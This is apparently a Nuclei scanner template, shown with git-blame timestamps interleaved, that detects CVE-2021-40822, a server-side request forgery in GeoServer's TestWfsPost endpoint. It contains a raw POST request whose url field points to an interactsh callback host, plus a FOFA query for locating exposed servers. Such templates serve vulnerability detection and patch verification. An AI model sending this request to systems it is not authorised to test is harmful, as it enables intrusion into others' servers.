2022-05-18 13:04:39 +00:00
|
|
|
id: CVE-2021-40822
|
|
|
|
|
|
|
|
|
|
info:
|
2022-06-30 15:08:21 +00:00
|
|
|
name: Geoserver - Server-Side Request Forgery
|
2022-05-18 13:04:39 +00:00
|
|
|
author: For3stCo1d
|
|
|
|
|
severity: high
|
2022-06-30 15:08:21 +00:00
|
|
|
description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
|
2022-05-18 13:04:39 +00:00
|
|
|
reference:
|
|
|
|
|
- https://gccybermonks.com/posts/cve-2021-40822/
|
|
|
|
|
- https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
|
2022-05-18 17:19:05 +00:00
|
|
|
- https://github.com/geoserver/geoserver/releases
|
2022-06-30 15:08:21 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40822
|
2022-05-18 13:04:39 +00:00
|
|
|
classification:
|
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
|
cvss-score: 7.5
|
|
|
|
|
cve-id: CVE-2021-40822
|
|
|
|
|
cwe-id: CWE-918
|
|
|
|
|
metadata:
|
|
|
|
|
fofa-query: app="GeoServer"
|
2022-05-18 17:19:05 +00:00
|
|
|
verified: "true"
|
2022-07-02 11:44:20 +00:00
|
|
|
tags: cve,cve2021,ssrf,geoserver
|
2022-05-18 13:04:39 +00:00
|
|
|
|
|
|
|
|
requests:
|
|
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
POST /geoserver/TestWfsPost HTTP/1.1
|
2022-05-18 17:00:54 +00:00
|
|
|
Host: {{Hostname}}
|
2022-05-18 13:04:39 +00:00
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
2022-05-18 17:00:54 +00:00
|
|
|
form_hf_0=&url=http://{{interactsh-url}}/geoserver/../&body=&username=&password=
|
2022-05-18 13:04:39 +00:00
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
|
matchers:
|
|
|
|
|
- type: word
|
2022-05-18 17:00:54 +00:00
|
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
2022-05-18 13:04:39 +00:00
|
|
|
words:
|
2022-05-18 17:00:54 +00:00
|
|
|
- "http"
|
|
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
|
words:
|
|
|
|
|
- "<html><head></head><body>"
|
2022-05-18 13:04:39 +00:00
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
|
status:
|
|
|
|
|
- 200
|
2022-06-30 15:08:21 +00:00
|
|
|
|
|
|
|
|
# Enhanced by mp on 2022/06/30
|
